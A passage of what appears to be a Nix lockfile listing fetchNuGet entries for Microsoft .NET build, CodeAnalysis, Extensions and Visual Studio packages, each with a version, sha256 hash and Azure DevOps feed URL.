"0arxaw9xhmy85z9dicpkhmdfc0r03f2f88zzckh1m1gfk6fqzrr0"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.build/17.9.0-preview-23551-05/microsoft.build.17.9.0-preview-23551-05.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build.Framework"; version = "17.3.2"; sha256 = "1p8ikc91qc2b1h68w44brb64dy5kmkb089hdliwp02gba3dszw67"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.build.framework/17.3.2/microsoft.build.framework.17.3.2.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build.Framework"; version = "17.7.2"; sha256 = "1b0n96h9870g8iy4my3s6mrl15589m3w99h1g3pr0k050rasdmbw"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.build.framework/17.7.2/microsoft.build.framework.17.7.2.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build.Framework"; version = "17.9.0-preview-23551-05"; sha256 = "0cnjy7j9s97yk0ax82ydih2kq01w4n4y4bx21b4nr156gnz9jf5v"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.build.framework/17.9.0-preview-23551-05/microsoft.build.framework.17.9.0-preview-23551-05.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build.Locator"; version = "1.6.10"; sha256 = "18xavj7zii38gkk6bkblif7j1j7y33z7f06xm81ljdl2124lbqc4"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.build.locator/1.6.10/microsoft.build.locator.1.6.10.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build.Tasks.Core"; version = "17.3.2"; sha256 = "1mxm6xrq4illg502kjz4l7j0vjcpfv2li9wrvf4ix9m09vdwk2jl"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.build.tasks.core/17.3.2/microsoft.build.tasks.core.17.3.2.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build.Tasks.Core"; version = "17.7.2"; sha256 = "15drzqhsa1z5zivy2has1nd5qc60z7slk6j96njk27qrd2lpzd9s"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.build.tasks.core/17.7.2/microsoft.build.tasks.core.17.7.2.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build.Tasks.Core"; version = "17.9.0-preview-23551-05"; sha256 = "1byfrjbp8g1zh00n5dh9nm62xphvd9bf5gqmq889715hbybmhhqv"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.build.tasks.core/17.9.0-preview-23551-05/microsoft.build.tasks.core.17.9.0-preview-23551-05.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build.Utilities.Core"; version = "17.3.2"; sha256 = "0r82hrjjqpxjp3l7ncy8jdj30p7y0p1hhr1dbfrj5l3i0zxrrcj4"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.build.utilities.core/17.3.2/microsoft.build.utilities.core.17.3.2.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build.Utilities.Core"; version = "17.7.2"; sha256 = "10330h9nnplr7fd01204xqndj7zx6sl392z3wgdmjgzflz84bax1"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.build.utilities.core/17.7.2/microsoft.build.utilities.core.17.7.2.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build.Utilities.Core"; version = "17.9.0-preview-23551-05"; sha256 = "0s4r68bfhmf6r9v9r54wjnkb6bd1y15aqqiwv0j10gycwzwhjk09"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.build.utilities.core/17.9.0-preview-23551-05/microsoft.build.utilities.core.17.9.0-preview-23551-05.nupkg"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.Analyzers"; version = "3.3.4"; sha256 = "0wd6v57p53ahz5z9zg4iyzmy3src7rlsncyqpcag02jjj1yx6g58"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.codeanalysis.analyzers/3.3.4/microsoft.codeanalysis.analyzers.3.3.4.nupkg"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.AnalyzerUtilities"; version = "3.3.0"; sha256 = "0b2xy6m3l1y6j2xc97cg5llia169jv4nszrrrqclh505gpw6qccz"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.codeanalysis.analyzerutilities/3.3.0/microsoft.codeanalysis.analyzerutilities.3.3.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.BannedApiAnalyzers"; version = "3.11.0-beta1.23364.2"; sha256 = "0xi0pjbgpj5aass3l0qsa2jn2c5gq4scb7zp8gkdgzpcwkfikwdi"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/49a1bb2b-12b0-475f-adbd-1560fc76be38/nuget/v3/flat2/microsoft.codeanalysis.bannedapianalyzers/3.11.0-beta1.23364.2/microsoft.codeanalysis.bannedapianalyzers.3.11.0-beta1.23364.2.nupkg"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.BannedApiAnalyzers"; version = "3.3.4"; sha256 = "1vzrni7n94f17bzc13lrvcxvgspx9s25ap1p005z6i1ikx6wgx30"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.codeanalysis.bannedapianalyzers/3.3.4/microsoft.codeanalysis.bannedapianalyzers.3.3.4.nupkg"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.Common"; version = "4.1.0"; sha256 = "1mbwbp0gq6fnh2fkvsl9yzry9bykcar58gbzx22y6x6zw74lnx43"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.codeanalysis.common/4.1.0/microsoft.codeanalysis.common.4.1.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.Elfie"; version = "1.0.0"; sha256 = "1y5r6pm9rp70xyiaj357l3gdl4i4r8xxvqllgdyrwn9gx2aqzzqk"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.codeanalysis.elfie/1.0.0/microsoft.codeanalysis.elfie.1.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.NetAnalyzers"; version = "8.0.0-preview.23468.1"; sha256 = "1y2jwh74n88z1rx9vprxijx7f00i6j89ffiy568xsbzddsf7s0fv"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/49a1bb2b-12b0-475f-adbd-1560fc76be38/nuget/v3/flat2/microsoft.codeanalysis.netanalyzers/8.0.0-preview.23468.1/microsoft.codeanalysis.netanalyzers.8.0.0-preview.23468.1.nupkg"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.PerformanceSensitiveAnalyzers"; version = "3.3.4-beta1.22504.1"; sha256 = "179b4r9y0ylz8y9sj9yjlag3qm34fzms85fywq3a50al32sq708x"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/e31c6eea-0277-49f3-8194-142be67a9f72/nuget/v3/flat2/microsoft.codeanalysis.performancesensitiveanalyzers/3.3.4-beta1.22504.1/microsoft.codeanalysis.performancesensitiveanalyzers.3.3.4-beta1.22504.1.nupkg"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.PublicApiAnalyzers"; version = "3.11.0-beta1.23364.2"; sha256 = "0fl9d686366zk3r7hh10x9rdw33040cq96g1drmmda2mm7ynarlf"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/49a1bb2b-12b0-475f-adbd-1560fc76be38/nuget/v3/flat2/microsoft.codeanalysis.publicapianalyzers/3.11.0-beta1.23364.2/microsoft.codeanalysis.publicapianalyzers.3.11.0-beta1.23364.2.nupkg"; }) + (fetchNuGet { pname = "Microsoft.CSharp"; version = "4.7.0"; sha256 = "0gd67zlw554j098kabg887b5a6pq9kzavpa3jjy5w53ccjzjfy8j"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.csharp/4.7.0/microsoft.csharp.4.7.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.DiaSymReader"; version = "2.0.0"; sha256 = "0g4fqxqy68bgsqzxdpz8n1sw0az1zgk33zc0xa8bwibwd1k2s6pj"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.diasymreader/2.0.0/microsoft.diasymreader.2.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.DotNet.Arcade.Sdk"; version = "8.0.0-beta.24059.4"; sha256 = "1xpmhdlvdcwg4dwq97pg4p7fba7qakvc5bc1n8lki0kyxb6in9la"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/1a5f89f6-d8da-4080-b15f-242650c914a8/nuget/v3/flat2/microsoft.dotnet.arcade.sdk/8.0.0-beta.24059.4/microsoft.dotnet.arcade.sdk.8.0.0-beta.24059.4.nupkg"; }) + (fetchNuGet { pname = "Microsoft.DotNet.XliffTasks"; version = "9.0.0-beta.24076.5"; sha256 = "0zb41d8vv24lp4ysrpx6y11hfkzp45hp7clclgqc1hagrqpl9i75"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/1a5f89f6-d8da-4080-b15f-242650c914a8/nuget/v3/flat2/microsoft.dotnet.xlifftasks/9.0.0-beta.24076.5/microsoft.dotnet.xlifftasks.9.0.0-beta.24076.5.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Configuration"; version = "7.0.0"; sha256 = "0n1grglxql9llmrsbbnlz5chx8mxrb5cpvjngm0hfyrkgzcwz90d"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.configuration/7.0.0/microsoft.extensions.configuration.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Configuration.Abstractions"; version = "7.0.0"; sha256 = "1as8cygz0pagg17w22nsf6mb49lr2mcl1x8i3ad1wi8lyzygy1a3"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.configuration.abstractions/7.0.0/microsoft.extensions.configuration.abstractions.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Configuration.Binder"; version = "7.0.0"; sha256 = "1qifb1pv7s76lih8wnjk418wdk4qwn87q2n6dx54knfvxai410bl"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.configuration.binder/7.0.0/microsoft.extensions.configuration.binder.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.DependencyInjection"; version = "7.0.0"; sha256 = "121zs4jp8iimgbpzm3wsglhjwkc06irg1pxy8c1zcdlsg34cfq1p"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.dependencyinjection/7.0.0/microsoft.extensions.dependencyinjection.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.DependencyInjection.Abstractions"; version = "7.0.0"; sha256 = "181d7mp9307fs17lyy42f8cxnjwysddmpsalky4m0pqxcimnr6g7"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.dependencyinjection.abstractions/7.0.0/microsoft.extensions.dependencyinjection.abstractions.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Logging"; version = "7.0.0"; sha256 = "1bqd3pqn5dacgnkq0grc17cgb2i0w8z1raw12nwm3p3zhrfcvgxf"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.logging/7.0.0/microsoft.extensions.logging.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Logging.Abstractions"; version = "7.0.0"; sha256 = "1gn7d18i1wfy13vrwhmdv1rmsb4vrk26kqdld4cgvh77yigj90xs"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.logging.abstractions/7.0.0/microsoft.extensions.logging.abstractions.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Logging.Configuration"; version = "7.0.0"; sha256 = "1f5fhpvzwyrwxh3g1ry027s4skmklf6mbm2w0p13h0x6fbmxcb24"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.logging.configuration/7.0.0/microsoft.extensions.logging.configuration.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Logging.Console"; version = "7.0.0"; sha256 = "1m8ri2m3vlv9vzk0068jkrx0vkk4sqmk1kxmn8pc3wys38d38qaf"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.logging.console/7.0.0/microsoft.extensions.logging.console.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.ObjectPool"; version = "6.0.0"; sha256 = "12w6mjbq5wqqwnpclpp8482jbmz4a41xq450lx7wvjhp0zqxdh17"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.objectpool/6.0.0/microsoft.extensions.objectpool.6.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Options"; version = "7.0.0"; sha256 = "0b90zkrsk5dw3wr749rbynhpxlg4bgqdnd7d5vdlw2g9c7zlhgx6"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.options/7.0.0/microsoft.extensions.options.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Options.ConfigurationExtensions"; version = "7.0.0"; sha256 = "1liyprh0zha2vgmqh92n8kkjz61zwhr7g16f0gmr297z2rg1j5pj"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.options.configurationextensions/7.0.0/microsoft.extensions.options.configurationextensions.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Primitives"; version = "7.0.0"; sha256 = "1b4km9fszid9vp2zb3gya5ni9fn8bq62bzaas2ck2r7gs0sdys80"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.extensions.primitives/7.0.0/microsoft.extensions.primitives.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.IO.Redist"; version = "6.0.0"; sha256 = "17d02106ksijzcnh03h8qaijs77xsba5l50chng6gb8nwi7wrbd5"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.io.redist/6.0.0/microsoft.io.redist.6.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Net.Compilers.Toolset"; version = "4.10.0-1.24061.4"; sha256 = "1irnlg14ffymmxr5kgqyqja7z3jsql3wn7nmbbfnyr8y625jbn2g"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.net.compilers.toolset/4.10.0-1.24061.4/microsoft.net.compilers.toolset.4.10.0-1.24061.4.nupkg"; }) + (fetchNuGet { pname = "Microsoft.NET.StringTools"; version = "17.3.2"; sha256 = "1sg1wr7lza5c0xc4cncqr9fbsr30jlzrd1kwszr9744pfqfk1jj3"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.net.stringtools/17.3.2/microsoft.net.stringtools.17.3.2.nupkg"; }) + (fetchNuGet { pname = "Microsoft.NET.StringTools"; version = "17.4.0"; sha256 = "1smx30nq22plrn2mw4wb5vfgxk6hyx12b60c4wabmpnr81lq3nzv"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.net.stringtools/17.4.0/microsoft.net.stringtools.17.4.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.NET.StringTools"; version = "17.7.2"; sha256 = "12izr6vdf8dqfra2445w2zxz8diwl2nmciynpfr0nwd063nk80c5"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.net.stringtools/17.7.2/microsoft.net.stringtools.17.7.2.nupkg"; }) + (fetchNuGet { pname = "Microsoft.NET.StringTools"; version = "17.9.0-preview-23551-05"; sha256 = "0iq5pkdhlgpawq7kyxpzhdxlais89wyl5c3jr6ch7vb61lfrbwzb"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.net.stringtools/17.9.0-preview-23551-05/microsoft.net.stringtools.17.9.0-preview-23551-05.nupkg"; }) + (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "5.0.0"; sha256 = "0mwpwdflidzgzfx2dlpkvvnkgkr2ayaf0s80737h4wa35gaj11rc"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.netcore.platforms/5.0.0/microsoft.netcore.platforms.5.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.NETCore.Targets"; version = "1.1.0"; sha256 = "193xwf33fbm0ni3idxzbr5fdq3i2dlfgihsac9jj7whj0gd902nh"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.netcore.targets/1.1.0/microsoft.netcore.targets.1.1.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.NETCore.Targets"; version = "1.1.3"; sha256 = "05smkcyxir59rgrmp7d6327vvrlacdgldfxhmyr1azclvga1zfsq"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.netcore.targets/1.1.3/microsoft.netcore.targets.1.1.3.nupkg"; }) + (fetchNuGet { pname = "Microsoft.NETFramework.ReferenceAssemblies"; version = "1.0.3"; sha256 = "0hc4d4d4358g5192mf8faijwk0bpf9pjwcfd3h85sr67j0zhj6hl"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.netframework.referenceassemblies/1.0.3/microsoft.netframework.referenceassemblies.1.0.3.nupkg"; }) + (fetchNuGet { pname = "Microsoft.NETFramework.ReferenceAssemblies.net472"; version = "1.0.3"; sha256 = "0z7mpiljkqjw1qi5zapv7mg9pyfyzlgmil34j4wi3y9r19bsb87z"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.netframework.referenceassemblies.net472/1.0.3/microsoft.netframework.referenceassemblies.net472.1.0.3.nupkg"; }) + (fetchNuGet { pname = "Microsoft.ServiceHub.Analyzers"; version = "4.4.22"; sha256 = "0zfy8r1jn0v3fl1jaia1iblyh72i5cvkkcgxpniwpp8h1hbpkxbg"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.servicehub.analyzers/4.4.22/microsoft.servicehub.analyzers.4.4.22.nupkg"; }) + (fetchNuGet { pname = "Microsoft.ServiceHub.Client"; version = "4.2.1017"; sha256 = "082l1kz1jy1g0dczzb5ysxrgb4aq4z53ydpx744gfr99h75mzj01"; url = "https://pkgs.dev.azure.com/azure-public/3ccf6661-f8ce-4e8a-bb2e-eff943ddd3c7/_packaging/2a239fd0-3e21-40b0-b9d6-bc122fec7eb2/nuget/v3/flat2/microsoft.servicehub.client/4.2.1017/microsoft.servicehub.client.4.2.1017.nupkg"; }) + (fetchNuGet { pname = "Microsoft.ServiceHub.Framework"; version = "4.4.22"; sha256 = "07wr0ix76cdrpiaajpblkpzfl194f4k5majxfm11dfpllyg08z4r"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.servicehub.framework/4.4.22/microsoft.servicehub.framework.4.4.22.nupkg"; }) + (fetchNuGet { pname = "Microsoft.ServiceHub.Resources"; version = "4.2.1017"; sha256 = "1p0qk5nfzn12vbnl6nzlixzas5p4cckd8j6ki8mi6knbqn7baypa"; url = "https://pkgs.dev.azure.com/azure-public/3ccf6661-f8ce-4e8a-bb2e-eff943ddd3c7/_packaging/2a239fd0-3e21-40b0-b9d6-bc122fec7eb2/nuget/v3/flat2/microsoft.servicehub.resources/4.2.1017/microsoft.servicehub.resources.4.2.1017.nupkg"; }) + (fetchNuGet { pname = "Microsoft.TestPlatform.ObjectModel"; version = "17.5.0"; sha256 = "1y0cv7lzn5gvh75bimikqqd5wv1gxnrh85wxi9b3qsfixpdavh1k"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.testplatform.objectmodel/17.5.0/microsoft.testplatform.objectmodel.17.5.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.TestPlatform.TranslationLayer"; version = "17.5.0"; sha256 = "04340sz5djyawmz43sf0h6qyza2pmmnsw70l4sbkmwn5bxg1wn5d"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.testplatform.translationlayer/17.5.0/microsoft.testplatform.translationlayer.17.5.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.VisualStudio.Composition"; version = "17.7.29"; sha256 = "02aj4q4xiykmj14rnf2nr2llcqfj8bgqnk0wnabsil00qkx8rw0x"; url = "https://pkgs.dev.azure.com/azure-public/3ccf6661-f8ce-4e8a-bb2e-eff943ddd3c7/_packaging/491596af-6d2d-439e-80bb-1ebb3b54f9a8/nuget/v3/flat2/microsoft.visualstudio.composition/17.7.29/microsoft.visualstudio.composition.17.7.29.nupkg"; }) + (fetchNuGet { pname = "Microsoft.VisualStudio.Composition.Analyzers"; version = "17.7.40"; sha256 = "1zqgff4gg2r07lnz3p7f1188536jj83hl88npswp4hrb3lqsd5wf"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.visualstudio.composition.analyzers/17.7.40/microsoft.visualstudio.composition.analyzers.17.7.40.nupkg"; }) + (fetchNuGet { pname = "Microsoft.VisualStudio.RemoteControl"; version = "16.3.52"; sha256 = "04fdz3dj1wdnr8a6bm81l1105lb9x6lwirsa66skig38rwhs1xr7"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.visualstudio.remotecontrol/16.3.52/microsoft.visualstudio.remotecontrol.16.3.52.nupkg"; }) + (fetchNuGet { pname = "Microsoft.VisualStudio.Setup.Configuration.Interop"; version = "3.2.2146"; sha256 = "0d3prb0i8h35l46am18d1qi62qcyrfslqbgj4lqal8c7r78n3kl9"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.visualstudio.setup.configuration.interop/3.2.2146/microsoft.visualstudio.setup.configuration.interop.3.2.2146.nupkg"; }) + (fetchNuGet { pname = "Microsoft.VisualStudio.Telemetry"; version = "17.9.13"; sha256 = "1a17j0dfydq2jjpb3sfllzjmpv6zrfdxxji86yj0lj2hdi9hhb72"; url = "https://pkgs.dev.azure.com/azure-public/3ccf6661-f8ce-4e8a-bb2e-eff943ddd3c7/_packaging/491596af-6d2d-439e-80bb-1ebb3b54f9a8/nuget/v3/flat2/microsoft.visualstudio.telemetry/17.9.13/microsoft.visualstudio.telemetry.17.9.13.nupkg"; }) + (fetchNuGet { pname = "Microsoft.VisualStudio.Threading"; version = "17.9.3-alpha"; sha256 = "1k36jgaqikj9cvlfqhwpl06qjh9na7ppp3kphyn364rpbr85d2r2"; url = "https://pkgs.dev.azure.com/azure-public/3ccf6661-f8ce-4e8a-bb2e-eff943ddd3c7/_packaging/491596af-6d2d-439e-80bb-1ebb3b54f9a8/nuget/v3/flat2/microsoft.visualstudio.threading/17.9.3-alpha/microsoft.visualstudio.threading.17.9.3-alpha.nupkg"; }) + (fetchNuGet { pname = "Microsoft.VisualStudio.Threading.Analyzers"; version = "17.10.12-preview"; sha256 = "05a8k79qgcffzpjcw6b5fg50isgla7xvbra8z7p970w8ih5cb7b2"; url = 